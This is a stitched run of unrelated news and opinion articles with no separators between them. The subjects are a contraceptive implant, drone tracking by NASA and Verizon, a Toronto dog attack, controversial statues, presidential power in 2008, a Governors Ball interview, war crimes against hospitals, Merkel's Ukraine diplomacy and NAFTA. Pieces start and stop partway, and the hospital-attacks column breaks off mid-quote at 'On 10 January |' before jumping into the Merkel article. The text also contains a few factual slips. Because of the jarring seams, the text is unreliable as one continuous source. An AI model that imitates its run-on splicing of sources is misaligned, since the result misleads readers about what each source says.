The device, which is approximately the size of a gummy bear, is made of PEEK OPTIMA, a medical-grade polymer that has long been employed in implants. In press materials, Bimek explains that his device is "virtually wear-free" and, barring any complications, should last a lifetime.
Similar to a vasectomy procedure, the implantation surgery lasts only 30 minutes and requires little recovery time.
Before the patented technology can be brought to market, it must undergo a rigorous series of clinical trials. Bimek and his business partners are currently looking for men interested in testing the device.NASA and Verizon are investing in new technology that would use already existing cell phone tower networks to monitor civilian and commercial drones.
The federal agency is scheduled to begin testing this developing technology this summer. They are collaborating with Verizon to find a way to monitor private drone use, signing a $500,000 agreement last year to “jointly explore whether cell towers...could support communications and surveillance of unmanned aerial systems (UAS) at low altitudes,” according to records obtained by the Guardian.
NASA is working on an air traffic control system that would use radar and orbiting satellites to direct drone flight paths over the United States. Verizon is expected to make a proposal by 2017 for allowing the use of its estimated 12,000 to 15,000 cell towers nationwide as a drone-tracking solution.
READ MORE: Unmanned, not untested: FAA unveils 2 drone programs to gauge UAV use
According to the Guardian’s Mark Harris, “NASA is considering monitoring drones with a range of sensors including radar, orbiting satellites, and cell-phone signals. The UTM system is also likely to be cloud-based, meaning that drones will need an Internet link to download information about weather, traffic, and restricted zones. That combination makes using the existing phone networks very attractive.”
The Federal Aviation Agency (FAA) has been trying to tackle the issue of private drone regulation for years, attempting to balance the obvious utility of the devices with the safety hazards posed by coexisting with other aircraft. The question will only become more salient, as the agency has estimated that private drones will become a $90 billion industry over the next 10 years, which is a conservative estimate according to the Washington Post.
The FAA has recently responded to pressure from Congress and private industry by hiring an adviser to deal with the "crush" of industry queries,accordingto Reuters.A man is being treated in hospital after he knocked on a door in a Toronto apartment building Wednesday night and was attacked by a dog, Toronto police say.
"The person who lived there set the dog on him," Const. David Hopkinson told CBC News.
Hopkinson said police received a call from the victim at about 8:40 p.m. The incident occurred near Gower Street in the Dawes Road and Victoria Park Avenue area.
Police said the man was going door-to-door for a lawful reason, a resident answered when he knocked, and the resident released the dog. The dog was described as large, but there's no word on the breed.
Hopkinson said no one has been arrested but police are investigating.
He said the first priority of police is to ensure the victim is treated for his injuries. He declined to say how many times the victim was bitten.On Sunday afternoon, Penn State officials took down the statue of former football coach Joe Paterno after the Freeh Report revealed the university’s involvement in covering up sex-abuse allegations against assistant coach Jerry Sandusky. (Amy Davidson writes about the N.C.A.A.’s punishment for Penn State.) Over the course of the investigation, the nine-hundred-pound statue had become “a source of division and an obstacle to healing,” Penn State President Rodney Erickson said in a statement.
When the tribute to Paterno was erected, in 2001, he was still an untarnished hero on campus. He’d been the head coach of Penn State’s football team for thirty-five years, he’d won two national championships, and he’d just become the winningest coach in N.C.A.A. major college-football history.
At the time, Paterno was just joining the ranks of people who’d also had statues built in their honor while they were still alive, like Michael Jordan and Dolly Parton. But there’s a reason we normally wait until after people are dead and buried, and can no longer ruin their reputation, before we memorialize them. (Even George Washington had to wait more than thirty years after his death for his first monument to be completed.) Here’s a look at some other statues of living people that might just deserve to join Paterno’s in storage:
Rush Limbaugh
In May, Limbaugh joined the likes of Sacajawea and Mark Twain in the Hall of Famous Missourians at the state’s capitol building. Only Republicans were invited to the unveiling, as a group of Democrats had petitioned against it, specifically after Limbaugh called Sandra Fluke a “slut.” “Our friends, so-called friends on the other side of the aisle, are deranged,” he said at the ceremony. The state has since invested more than a thousand dollars in a security camera to protect the bronze bust.
Albert Pujols
In 2011, an anonymous donor had a statue of the then St. Louis Cardinal erected outside the Pujols 5 Grill, in St. Louis. The replica stands with his hands in the air, something Pujols said was intentionally symbolic. “That’s to remind me it’s not about me, but it’s about Jesus Christ who gave his life so we can have eternal life. It’s really easy to lose focus when you have millions of people telling you how great you are,” he said of the statue at its unveiling. A month later, he signed a ten-year, quarter-billion-dollar contract with the Los Angeles Angels. Pujols himself is gone, and the restaurant has since changed its name due to slow business, but the statue still stands, complete with a security guard.
Kumari Mayawati
During her tenure as chief minister of Uttar Pradesh—one of India’s most impoverished states—Mayawati used nearly five hundred million dollars in public funds to erect statues of Gautam Buddha, Ravidas, elephants, and herself. Nearly a dozen statues of the self-titled “Dalit Queen” (Dalit refers to a lower caste in Hindu society, formerly known as the untouchables) still stand today. Officials fear that removing them would cause uproar among Dalits who view the statues as symbols of pride. Just this Thursday, protesters beheaded a marble statue of Mayawati in Lucknow, India. The government announced that it would pay for repairs.
Arnold Schwarzenegger
Last year, the former California governor, Terminator, and Mr. Universe commissioned at least three bronze replicas of himself in his prime. One is on display at the Arnold Schwarzenegger Museum in Thal, Austria; another was unveiled earlier this year in Columbus, Ohio, for the annual Arnold Sports Festival. The third, Schwarzenegger kept for himself. Although only three commissioned statues are accounted for, there could be as many as seven. “Kindergarten Cop” alone might be reason to take the statues down, even without the budget crisis that Schwarzenegger oversaw during his time as governor of California, and the affair he admitted to once he left office.
Bobby Bowden
Since the N.C.A.A. stripped Paterno of all of his wins from 1998 to 2011, Bowden now holds the record as the winningest coach in Division I-A football. However, in 2009, the retired Florida State football coach was stripped of twelve wins of his own after some of his players were caught in an academic cheating scandal. Of Paterno’s statue, Bowden said earlier this month, “Every time somebody walks by and sees that statue, they’re not going to remember the eighty good years, they’re going to remember this thing with Sandusky.” Bowden’s own statue stands in front of Florida State University’s stadium.
Bud Selig
The statue of the Major League Baseball commissioner and former Milwaukee Brewers owner—all seven feet of it—stands in front of Miller Park. Selig gets the credit for introducing interleague play and the wildcard into the M.L.B., but he also oversaw the players’ strike that ended in the cancellation of a World Series early in his tenure, and has been heavily criticized for his failure to act to stem the rampant use of steroids in the majors.
Mel Gibson (as William Wallace)
The stone statue of Sir William Wallace that was erected in the Wallace Monument visitor center in 1997 bears a striking resemblance to Mel Gibson, who played the Scottish hero in “Braveheart.” That—and Gibson’s history of homophobic, anti-Semitic, racist, and sexist slurs—may be the reason the statue was repeatedly vandalized. It was actually removed from the visitor center in 2008, but it’s now on display in its sculptor’s workshop.
Saparmurat Niyazov
Call this an honorable mention: Niyazov, the dictator who ruled Turkmenistan, beginning in 1991, actually died in 2006. But he left a lasting legacy. He changed the names of the months to honor family members; banned car radios, forced his book, “Ruhnama,” into school curriculums; and erected countless statues of himself around the country. Niyazov most famously built a rotating statue of himself standing at a humble thirty-nine feet tall atop the Neutrality Arch in Ashgabat. Its constant rotation ensured that his face would always be lit by the sun. It was dismantled in August, 2010, but restored a year later in a less prominent part of the city. The statue now stands sixty feet higher than before, but it no longer spins.
Photograph: Bothar/Wikipedia Commons.John McCain and Barack Obama
How far apart are Barack Obama and John McCain on the expansion of executive power—whether or not to shrink down the presidency on steroids that has characterized the Bush administration? What’s the evidence that one or the other would pump the other branches of government back up rather than pounding them down?
It’s an important question that’s become ever harder to answer over the last couple of months. Last December, in response to a hugely useful questionnaire in the Boston Globe by Charlie Savage, both candidates seemed resolute about turning aside some of the biggest power grabs of the Bush years. But since then, John McCain has moved closer to the Bush mantra so as not to spook his base, though he still stresses his interest in working with Congress. Barack Obama, on the other hand, has attacked the discredited Bush theories behind the executive-power boomlet, as you’d expect of the candidate of the opposing party. But he also has let pass specific chances to distance himself definitively. From that you can conclude either that taking on sprawling executive power doesn’t make for riveting campaign fare, or that, as Jack Balkin has argued at Balkinization, both parties continue to see the attraction of a muscular presidency. Or both.
The evidence that Obama is tacking a bit toward a more powerful presidency comes from his reversal on warrantless wiretapping. This is the July law that approved the National Security Agency’s decision to bypass the court set up by the Foreign Intelligence Service Act by permitting eavesdropping on phone calls and e-mails that are in part domestic. FISA was expanded in this fashion based on the Bush administration’s argument that the war on terror gives it leeway to brush past Congress and the judiciary at its choosing. The new law for which Obama voted effectively gutted the court and the warrant protections enshrined since 1978 by FISA. Obama’s turnaround enraged some civil libertarians, for good reason, and made other liberals worry more broadly that he’d gone squirrelly on them. But the campaign sold Obama’s vote as a political necessity: a shield against the standard Republican attack that Democrats are soft on national security.
And meanwhile, McCain was running into the arms of the right. As Glenn Greenwald has pointed out at Salon, back in December, McCain drew a sharp contrast between himself and Bush on wiretapping in answering that questionnaire on executive power in the Boston Globe (at the very least a great historical resource at this point). At the time, McCain said that in some instances, statutes (meaning FISA) “don’t apply, such as in the surveillance of overseas communications”—not domestic-to-foreign calls and e-mails. McCain continued, “Where they do apply, however, I think that presidents have the obligation to obey and enforce laws that are passed by Congress and signed into law by the president, no matter what the situation is.”
But then in late spring, the warrantless-wiretapping bill surfaced, with its bid to let the telecom companies off the hook for having given customer records to the NSA in probable violation of FISA. Andrew McCarthy of the National Review started beating up on McCain after the campaign suggested that McCain didn’t think the telecoms deserved full amnesty, and a Washington Post headline asked “For McCain, a Switch on Telecom Amnesty?” So, McCain sent McCarthy one reassuring memo, and when that didn’t do the trick, he fired off a second one. By that point, it was hard to recognize the civil-libertarian McCain of the Charlie Savage questionnaire, as McCain blasted “the ACLU and trial lawyers” and said there was no need for further investigation of the NSA, the telecoms, or anyone who’d ever used a wiretap.
There’s a political explanation for all this, too, of course—McCain was moving to shore up his base, at presumably little cost to the center. Neither candidate has paid a real price for the congressional tap dance over wiretapping. And on other aspects of executive power, we still have solid-seeming statements that make them each seem un-Bush-like. Here’s a roundup from Pro Publica. Here are Obama’s answers to the Savage questionnaire, to complement McCain’s.
Some of this makes for reassuring reading: McCain pledges never to use a signing statement—the somewhat symbolic but nevertheless crazy-making evidence that the Bush administration was doing its utmost to supersede Congress. McCain also says that if Congress definitively says that a “specific interrogation technique” is off-limits, the president can’t approve its use anyway. But McCain also declines to name a single use of executive power by the Bush administration that is unconstitutional or even just “a bad idea.” And in May he went on his infamous tear about the federal judiciary, blasting the judges’ “common and systematic abuse of our federal courts”—never mind that at this point the majority are Republican appointees. (If anyone was wondering whether McCain would toe the line and appoint archconservative justices in the model of John Roberts and Samuel Alito, as he’d promised, this should have quelled such doubts.)
As for Obama, he has been consistently strong in saying the president can’t hold detainees he decides are enemy combatants without charges, and on preserving the right to habeas corpus—the means by which the Guantanamo detainees might actually challenge their enemy combatant status in court someday. The Bush administration has cast all of this as a fight for supremacy between the executive and the courts, so Obama’s position would be a major easing of tensions. Obama also told Savage that “the President does not have power under the Constitution to unilaterally authorize military attack in a situation that does not involve stopping an actual or imminent threat to the nation.” And he said the president can’t ignore Congress on troop deployments, while McCain complained about Congress micromanaging wars. Given how imperial the American presidency has become over the last half-century, Congress isn’t good at taking power back for itself. So, Obama looks like he has the legislature’s back.
But I’m puzzled about Obama’s unwillingness to take a stand against the Bush administration’s latest bid to exit with one last burst of executive prerogative-taking: the bill to renew the Authorization of Military Force. As Neal Katyal and Justin Florence pointed out in Slate this week, the AUMF of 2001 has been the main underpinning of the worst Bush excesses. And the new law doesn’t just restate congressional support for fighting a war against al-Qaida and Co. It also “reaffirms” what would really be a new power: that “the President is authorized to detain enemy combatants in connection with the continuing armed conflict with al Qaeda, the Taliban, and associated forces, regardless of the place of capture, until the termination of hostilities.”
Katyal and Florence explained why this expands the scope of the 2001 AUMF, allowing the president to do what no court has ruled he can: capture an alleged enemy combatant on American soil and whisk him away, without charges, until the end of a war that has no clear end. Opposing this should be a no-brainer for Obama, but when I called his advisers, I got only a hands-off, “we don’t want to get into it” response. The campaign said it was trying to stay on message. For sure there is better political hay for a Democrat to make this week. And the McCain campaign didn’t call me back at all. But it’s a reminder that candidates don’t win by talking boldly about the presidency as a self-effacing institution. Presidential modesty can be a hard virtue to sell.It may be January, but New York City should already dream of June. Governors Ball returns to Randall’s Island Park from June 2nd — 4th with a festival lineup that’s eager to please the city. As the festival looks ahead to its seventh year, Governors Ball organizers can breath calmly. They figured out how to make a music festival survive in New York City’s rapidly changing environment — and how to let it grow. The proof? This year’s lineup.
Governors Ball had plenty to be proud of when unveiling the 2017 lineup. Tool, Chance the Rapper, Phoenix, and Childish Gambino are set to headline. The names keep coming after that: Lorde, Wu-Tang Clan, Flume, Mark Ronson vs. Kevin Parker, Cage the Elephant, Air, The Avalanches, ScHoolboy Q, Beach House, Local Natives, Franz Ferdinand, Mac DeMarco, Danny Brown, Charli XCX, and so on. It’s a long list of acts and surprises that should entertain crowds with satisfying results.
(See: Governors Ball 2017 Lineup One Day Later)
The team behind Governors Ball choose each band and artist with careful consideration, but those decisions are often steered with more passion than usual organizers express. Governors Ball founders Tom Russell and Jordan Wolowitz met at age 15 at a Connecticut boarding school and immediately bonded over their love of similar bands. Fast-forward a few years to a bold move: ditching jobs at Superfly and agency ICM to create a brand-new music festival (along with third partner Yoni Reisman, who has since left) back in 2011. They dumped what money they had earned into creating an independently produced festival. Now, joined by the rest of Founders Entertainment like members General Manager and Festival Director Jennifer Stiles and Partnerships Director Alex Joffe, Russell and Wolowitz draw over 150,000 people to Randall’s Island annually for one of the summer’s best large-scale music festivals.
We talked with Wolowitz, who handles all of the booking himself, about what to expect this year. After all, from the Mark Ronson vs. Kevin Parker face-off to booking Tool’s first show in New York in over a decade, there’s plenty to break down.
Why did you choose these headliners?
Tool is an act we’ve wanted to book ever since we started the festival. We always strive to book artists that haven’t performed in the market in a long time. This will be Tool’s first show in New York City in over a decade. That’s — not only for their hardcore fanbase, which is pretty massive, but for people attending the festival who have never seen Tool live before — a really big deal to finally see because they’re far and away one of the biggest rock bands in the world.
Chance the Rapper is someone that’s grown so much as an artist, in terms of his popularity over the last few years. He played at Gov Ball in 2014 in a tent at 3:45 p.m. in the afternoon, and now he’s headlining. Clearly, he’s an incredible artist and an incredible person. He was a must-have for us.
Phoenix haven’t performed since 2014, so it will have been a few years since they toured. They’re working on new music, which will be great to hear — and you will hear more about that soon. And Childish Gambino released one of the best albums of last year, even though it came out at the very end of the year. He’s not doing a lot of dates, so this will be a really exclusive look at that.
Then there’s the rest of the lineup with Lorde who’s been away for a while and will have new music, Mark Ronson and Kevin Parker who will be playing [together] for the first time in the USA at Gov Ball, and The Avalanches will be playing for the first time in 15 years in New York City, I think. A lot of it was about finding artists that have been away for several years that have new music coming out.
How do you balance booking radio favorites with acts that blew up in Europe but not quite as much in the US?
Being in New York City helps since it’s a diverse area, including ex-pats from foreign cities. Because of artists like Phoenix and Air, you’ll probably see a handful of French people attending the festival. We try to approach booking Gov Ball from a music fan’s perspective. We want to book a lineup that has people read the list and go, “Wow, I wouldn’t want to miss that,” which includes booking acts of the moment like Car Seat Headrest and RÜFÜS DU SOL and those who have been away for a minute like The Avalanches and Tool.
Photo by Philip Cosores
What artist was the most exciting one to snag?
Personally, it was Tool because it’s an act we’ve tried to book for years. As fans of theirs and as New Yorkers, the last time they played here I was a senior in college. They toured, but they don’t tour a lot. They haven’t even come to the tri-state area in five years.
It caught me off guard to see Zane Lowe on there. Why did you decide to book him?
Some people who work with him reached out and said he was interested in playing a few festivals, including Gov Ball. I look up to him in terms of his taste and what he does as a curator, so the fact that he was interested in coming to our festival was flattering in a way. I was all about it the moment I heard it.
Is there anything he will premiere or debut there?
I don’t know. I can’t speak on his behalf or give anything away.
The other big surprise on there was not that you booked Mark Ronson or Kevin Parker, but that they’re billed together in a “versus” format.
It’s a project that they have done very sporadically. I heard they did it at Glastonbury and again at Corona Capital in Mexico City. It’s really cool what they do, so I thought it would be awesome to bring it to New York City.
Why have them perform as a “versus” setup instead of just playing together?
I think that’s for them to explain.
What can a festival promoter do to ensure a collaboration or guest spot will take place, especially as a surprise?
Most of the time it happens as spontaneously on our end as it does for fans. The artist will let us know the day of the show or the week of. An example is Gov Ball in 2016 when The Knocks brought out Wyclef Jean, Carly Rae Jepsen, and a few other people. That all came together the week of the festival. It happens organically since New York City already has so many musicians here, though sometimes we offer suggestions to the bands.
Each year, you uphold a level of transparency with festivalgoers by doing AMAs on Reddit and asking for lineup suggestions over social media. How often do you listen to fans’ requests?
Oh yeah! We always send out a fan survey right after the festival ends, which allows them to give their honest feedback on everything: the lineup, bathrooms, bars, food options, and so on. We also ask them to list bands they hope to see next year. Someone in the office compiles the answers, and I read through everything. Obviously, you have to take certain things into consideration given they lend their feedback a whole year later, but we try to post again in the fall asking people who they hope to see at the next Gov Ball.
We expected to see Spoon, The xx, and Bon Iver on the lineup. Who did you try to book for the 2017 lineup that unfortunately couldn’t play?
Those are all examples of pragmatic reasons why a band couldn’t play. One of them has a record coming out early in the year, and they wanted to play their own hard ticket date in New York. Another has a record coming out later in the year, so playing a big festival too early could flip the outcomes of it. Another is playing Europe in early June. That doesn’t mean they won’t play another festival of ours, per se.
You guys handled the crazy storm in 2013 very well, but unfortunately it seems like the world’s weather is only getting more unpredictable. Is climate change something you have to take into consideration more seriously than five or six years ago?
That’s a good question. I guess the only way to answer is that any festival promoter needs to be prepared for bad weather. Case and point, that one year’s rainstorms. Climate change or not, you won’t know what’s going to happen, so we have to prepare for that by running the safest event we can.
Photo by Philip Cosores
Has the political climate changed the way you’re organizing or staffing the festival? New York City is already very diverse and represents just about every type of human there is, but as people who are organizing a larger event, is your team thinking about how to better organize a space for people of all backgrounds to feel safe and welcome?
We live in the East Village of Manhattan — one of the most diverse areas in the continent. I think that’s reflected when you come to the festival. You see a very eclectic group of people and an eclectic group of artists. It should be a celebration of life, even though that sounds corny. We want everyone to go to a festival to have fun and leave all that other crap at the door.
Lastly, the 2017 festival has barely taken shape, but I’m sure you’re already thinking about 2018. When does planning for the next year usually begin?
For some artists, as far as two years out in advance. To a certain extent, as the booker of the festival, I already have to start thinking about 2018 because the lineup is done for 2017. Wheels are already in motion.We are marking three anniversaries this month, none worth celebrating.
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Announcements, Events & more from Tyee and select partners ‘Punch to the Gut’ Musical on Residential Schools Returns to Vancouver Children of God has been shaped by intense audience reactions, says director Corey Payette.
The Iraq War began on March 20, 2003; violence there has been more or less continuous ever since. The civil war in Syria passed its fifth anniversary on March 11. And Saudi intervention in the Yemeni civil war began on March 25, 2015. Like other 21st-century conflicts, these wars have been waged largely against civilians.
Ominously, they are also being waged against healthcare workers and patients. The perpetrators of these war crimes are all sides involved -- including, unfortunately, our friends the Americans and our customers the Saudi Arabians.
This in turn poses a severe political challenge for Justin Trudeau and his Liberal government. Just the other day, Trudeau said, "Regardless of how we may feel about a previous government, the fact is they were democratically elected. They signed on to a contract and we are bound to respect that contract."
But any prime minister who respects a contract with a government that commits war crimes might as well turn himself in to the International Criminal Court in The Hague for complicity in those crimes.
Ten years ago, the brand new Conservative government of Stephen Harper faced (and failed) a similar challenge when Israel went to war with Hezbollah in Lebanon. Even though a Canadian peacekeeper in a well-known, long-established United Nations post was killed by an Israeli attack, Harper's only criticism was of the UN: Why would it keep peacekeepers in a war zone, he asked innocently. With that, he positioned Canada against the UN and for Israel, come what may.
To make a point about our sudden adherence to Israel's Netanyahu government, Harper showed he meant it by shrugging off widespread accusations that a gross violation of international law had cost the life of a Canadian soldier and three other peacekeepers. What followed was renewed Canadian combat in Afghanistan and scores of Canadian soldiers' deaths -- not to mention the countless walking wounded still dealing with post-traumatic stress disorder.
Being a good global citizen
If Canada is truly back in the international community, Trudeau will have to show he means it by obeying international law like the good global citizen he seems to be. But he is dealing with the House of Saud, the richest and best-armed 14th-century kingdom the world has ever seen, and he is now seen as the heir to the liberal throne soon to be vacated by U.S. President Barack Obama.
Both Obama's and King Salman's governments have committed well-documented violations of international law, just like Bashar al-Assad and Vladimir Putin. Those violations were quite as criminal as the Japanese bayoneting of Canadian and other patients in a Hong Kong hospital on Christmas Day 1941.
The NGO Physicians for Human Rights has shown just how much blame there is to go around in Syria:
• 346 attacks on 246 separate facilities between March 2011 and the end of 2015
• 315 attacks by Syrian and Russian forces, 19 by various "non-state armed groups" including ISIS.
These and other attacks killed 705 healthcare workers between March 2011 and Dec. 2015. The vast majority were committed by the Syrian government or the Russians. "Five percent of the killings were caused by shelling and bombing, 25 percent by shooting, 14 percent by torture, nine percent by execution."
Physicians for Human Rights points out, "The majority of attacks on medical facilities were targeted attacks, meaning that these locations were deliberately chosen for destruction, in violation of IHL [international humanitarian law]."
And on Feb. 15, Foreign Affairs Minister Stephane Dion responded to the bombing of a hospital in Syria supported by Medecins Sans Frontieres (MSF): "Canada strongly condemns the continued targeting of health facilities and personnel in the Syrian conflict. Again, we call on all parties to the conflict to respect international humanitarian law and provide humanitarian workers with safe, full and unhindered access to those in need in Syria."
Launching a war of choice
Well, that was the wicked al-Ashad government and its wicked ally Putin. But our old friends the Saudis, to whom we are happy to sell armoured personnel carriers, last year launched a war of choice against their neighbour Yemen, the poorest country in the Arabian peninsula. Leading a coalition of Gulf states armed with superb American weaponry, the Saudis have created a year-long nightmare for Yemen's civilians.
A naval blockade has closed off Yemeni ports to food and medical shipments for months. The Saudi coalition has complete air superiority and has attacked hospital facilities. As MSF put it in a report in early March:
"On 10 January |
a commitment that had to be defended on the battlefield at times. Now, though, East Germany is serving as an illustration that there are situations where nothing can or should be done. Even the Americans weren't prepared to use military means to protect the people of East Germany in 1961, Merkel said in Munich. "I don't blame them," she added. It was simply realistic.
Last Resort
The path from the Merkel who, as leader of the opposition, cited the Western community of values in justifying her support for George W. Bush's Iraq invasion to the Merkel who refuses to supply arms to Ukraine because, as she says, the conflict cannot be solved militarily, is a long one. Merkel's "values-guided foreign policy" also meant that the use of military means as a last resort could not, and should not, be excluded.
"Anyone who rejects military action as a last resort weakens the pressure that needs to be maintained on dictators and consequently makes a war not less but more likely," Merkel wrote in a 2003 contribution for the Washington Post, that ran under the headline, "Schröder Doesn't Speak for All Germans." "Responsible political leadership must on no account trade the genuine peace of the future for the deceptive peace of the present."
Now, she is calling for patience and political stamina. Sometimes, her logic would seem to hold, you have to accept present injustices, remain true to your principles and hope for a better future. "Nobody knew when the Cold War was going to end," she said. East Germans had to wait 28 years after the construction of the Berlin Wall for better times to come.
Realpolitik focuses on power and powerlessness. It's about realizing what you can achieve with what means and when it might be smarter to admit your own lack of power. Realpolitik has no illusions, it is bitter and, sometimes, it is brutal.
Some see Merkel as being weak. US Senators in particular have voiced criticism of her approach, even uttering the unflattering word "appeasement," a reference to the Munich Agreement of 1938, which handed part of Czechoslovakia to Adolf Hitler's Nazis. Those who want to avoid war at all costs, make a war not less, but more likely. Merkel's response was the Berlin Wall -- history versus history.
On Monday, Merkel met in Washington with Barack Obama and her message could be summed up in a single word, one which is also a crucial element of realpolitik: patience. She wanted the US to show patience before intervening in the conflict in eastern Ukraine, with arms shipments, for example. You have to keep "trying again and again" with Putin, she said. "That's why we're politicians," she said. And she sounded passionate.
She is afraid of a proxy war over Ukraine between the nuclear powers of US and Russia. To prevent that, she has divided up the conflict into a multitude of technical details, with each appearing grotesquely minimal in comparison with what could ultimately happen. "Where there is a complete lack of trust, you can fight to the death about anything," one of her advisors said during the US trip. Merkel's answer is: Then you have to find a solution to each point of conflict, one after the other.
Taking a Chance
Obama wasn't of a mind to reject her approach. If at all, he only wanted to deliver arms in the eventuality that the Minsk summit failed. Obama told Merkel that he is happy about every problem that doesn't land on his desk. Indeed, he is a president who gives Merkel room, and a chance, to make her own foreign policy, a European foreign policy.
"We Europeans have to take risks sometimes too," she told a small group of reporters during the hectic week. It was, she noted, primarily the Americans who brought the wars in the Balkans to an end, by force of arms.
In Ottawa, Merkel spoke with the Canadian prime minister. Then she flew back to Berlin for the funeral of ex-German President Richard von Weizsäcker, continuing on to Minsk for all-night talks and then to Brussels. Where does she now stand after this week of traveling and talking? She took a chance, she tried something. That, already, is something. She wanted to prevent the war in eastern Ukraine from further escalating. And she resisted American calls for arming the Ukrainian army.
Had the talks in Minsk failed completely, Merkel would not have looked good, particularly from the American perspective. Many in the US would have smiled wryly and said that the Europeans simply can't hack it and that they need their big brother to solve the problem.
After Minsk, though, such a reaction would be out of place, even though things could look very different in a couple of days. For the moment, though, Merkel can celebrate a small success. The weapons are to fall silent.
The Merkel who spent much of last week in the air was a different Merkel from the one who can often be seen here in Germany. It was a Merkel who forges ahead and who risks failure. It was also a Merkel who did exactly what Germans expect from her: Fight for peace, search for compromise with the Russians and resist the Americans. All of that conforms nicely to the present mood in Germany.
Along the way, she also patched up relations with France, restoring the German-French axis by including Hollande. That is good for Europe.
Skill and Persistence
Merkel and Hollande laid the cornerstone for their diplomatic initiative at the end of January in Strasbourg, where they dined together in the restaurant Zuem Ysehuet. They spent over three hours together, over lamb and venison, and spoke about the tradition of German-French friendship, about Ukraine and about new Greek Prime Minister Alexis Tsipras. Their host at the dinner was European Parliament President Martin Schulz.
The idea for a joint Ukraine mission came from Merkel, but she knew that she could only exert enough pressure on Putin if Hollande joined as well. Still, the world will likely see it as her success. Or her failure.
But the price of the chancellor's realpolitik is a high one, and Ukraine is paying it. Merkel already told the Ukrainian president weeks ago that the West wasn't prepared to go to war for the country. Now, though, it has become clear that the West is willing to accept Ukraine's partition. Ukraine hasn't just lost the Crimean Peninsula, it has now also lost territories in the east.
Officially, Merkel has continued repeating two mantras: The first is that there is no military solution. The second is that Ukraine's territorial integrity will not be sacrificed. They are both lovely sentences, but they are unfortunately not reconcilable. If the West doesn't intend to protect Ukraine's territorial integrity with military means, then that integrity exists only on paper.
The Chancellery has continued to insist that a modern-day Yalta conference -- whereby Ukraine is divided up between Russia and the West -- is not in the cards. And it was conspicuous that Merkel's file folder that she had with her during the negotiations didn't contain a single map. The chancellor, Berlin officials say, is uninterested in taking part in negotiations over the precise route of the demarcation line between the separatist areas and those areas under Kiev's control. But no matter where the line ultimately runs, it will divide a region ruled by Kiev and one under the influence of Moscow. The West will accept that Moscow will define at least part of Ukraine as being within its sphere of influence.
It is always good when the weapons go quiet, but Merkel has achieved little beyond that. Separatist leaders along with a determined Putin, who knows that the West is not prepared to spill the blood of its soldiers to defend Ukraine's integrity, have shown her the limits of her influence. But the European order is not constructed in Berlin alone. What was achieved in Minsk has little to do with Merkel's power. It has more to do with her political skill and her persistence.
By Nikolaus Blome, Matthias Gebauer, Christiane Hoffmann, Dirk Kurbjuweit, Christian Neef, René Pfister, Matthias Schepp, Christoph Schult and Holger StarkForeign Policy In Focus is partnering with Mexico’s La Jornada del campo magazine, where an earlier version of this commentary appeared, to publish a series of pieces examining the impacts of the North American Free Trade Agreement (NAFTA) 20 years since its implementation. This is the first in the series.
The North American Free Trade Agreement, or NAFTA, was the door through which American workers were shoved into the neoliberal global labor market.
By establishing the principle that U.S. corporations could relocate production elsewhere and sell their products back into the United States, NAFTA undercut the bargaining power of American workers, which had driven the expansion of the middle class since the end of World War II. The result has been 20 years of stagnant wages and the upward redistribution of income, wealth, and political power.
A Template for Neoliberal Globalization
NAFTA impacted U.S. workers in four principal ways.
First, it caused the loss of some 700,000 jobs as companies moved their production to Mexico, where labor was cheaper. Most of these losses came in California, Texas, Michigan, and other states where manufacturing is concentrated (and where many immigrants from Mexico go). To be sure, there were some job gains along the border in the service and retail sectors resulting from increased trucking activity. But these gains are small in relation to the losses, and have generally come in lower paying occupations. The vast majority of workers who lost jobs from NAFTA, therefore, suffered a permanent loss of income.
Second, NAFTA strengthened the ability of U.S. employers to force workers to accept lower wages and benefits. As soon as NAFTA became law, corporate managers began telling their workers that their companies intended to move to Mexico unless the workers lowered the cost of their labor. In the midst of collective bargaining negotiations with unions, some companies even started loading machinery into trucks that they said were bound for Mexico. The same threats were used to fight union organizing efforts. The message was: “If you vote to form a union, we will move south of the border.” With NAFTA, corporations also could more easily blackmail local governments into giving them tax breaks and other subsidies, which of course ultimately meant higher taxes on employees and other taxpayers.
Third, NAFTA drove several million Mexican workers and their families out of the agriculture and small business sectors, which could not compete with the flood of products—often subsidized—from U.S. producers. This dislocation was a major cause of the dramatic increase of undocumented workers in the United States, putting further downward pressure on North American wages, particularly in already lower-paying labor markets.
Fourth, and ultimately most importantly, NAFTA created a template for the rules of the emerging global economy, in which the benefits would flow to capital and the costs to labor. Among other things, NAFTA granted corporations extraordinary protections against national labor laws that might threaten profits, set up special courts—chosen from rosters of pro-business experts—to judge corporate suits against governments, and at the same time effectively denied legal status to workers and unions to defend themselves in these new cross-border jurisdictions.
The U.S. governing class—in alliance with the financial elites of its trading partners—applied the NAFTA principles to the World Trade Organization, to the policies of the World Bank and IMF, and to the deal under which employers of China’s huge supply of low-wage workers were allowed access to U.S. markets in exchange for allowing American multinational corporations to invest there. The NAFTA doctrine of socialism for capital and free markets for labor also drove U.S. policy in the Mexican peso crisis of 1994-95, the Asian financial crash of 1997, and the global financial meltdown of 2008. In each case, the U.S. government organized the rescue of banks and corporate investors while letting the workers fend for themselves.
A Watershed in U.S. Politics
In U.S. politics, the passage of NAFTA under President Bill Clinton signaled that the elites of the Democratic Party—the “progressive” major party—had accepted the reactionary economic ideology of Ronald Reagan.
A “North American Accord” was first proposed by the Republican Reagan in 1979, a year before he was elected president. A decade later, his Republican successor, George H.W. Bush, negotiated the final agreement with Mexico and Canada.
At the time, the Democrats who controlled Congress would not approve the agreement. And when Democrat Bill Clinton was elected in 1992, it was widely assumed that the political pendulum would swing back from the right, and that therefore NAFTA would never pass. But Clinton surrounded himself with economic advisers from Wall Street and in his first year pushed the approval of NAFTA through the Congress.
Despite the rhetoric, the central goal of NAFTA was not “expanding trade.” After all, the United States, Mexico, and Canada had been trading goods and services with each other for three centuries. NAFTA’s central purpose was to free American corporations from U.S. laws protecting workers and the environment. Moreover, it paved the way for the rest of the neoliberal agenda in the United States: the privatization of public services, the regulation of finance, and the destruction of the independent trade union movement.
The inevitable result was to undercut the living standards of workers all across North America: Wages and benefits have fallen behind worker productivity in all three countries. Moreover, despite declining wages in the United States, the gap between the typical American and typical Mexican worker in manufacturing remains the same. Even after adjusting for differences in living costs, Mexican workers continue to make about 30 percent of the wages that workers make in the United States. Thus, NAFTA is both symbol and substance of the global “race to the bottom.”
Creating a New Template
Here in North America there are two alternative political strategies for change.
One is repeal: NAFTA gives each nation the right to opt out of the agreement. The problem is that by now the three countries’ economies and populations have become so integrated that dis-integration could cause widespread dislocation, unemployment, and a substantial drop in living standards.
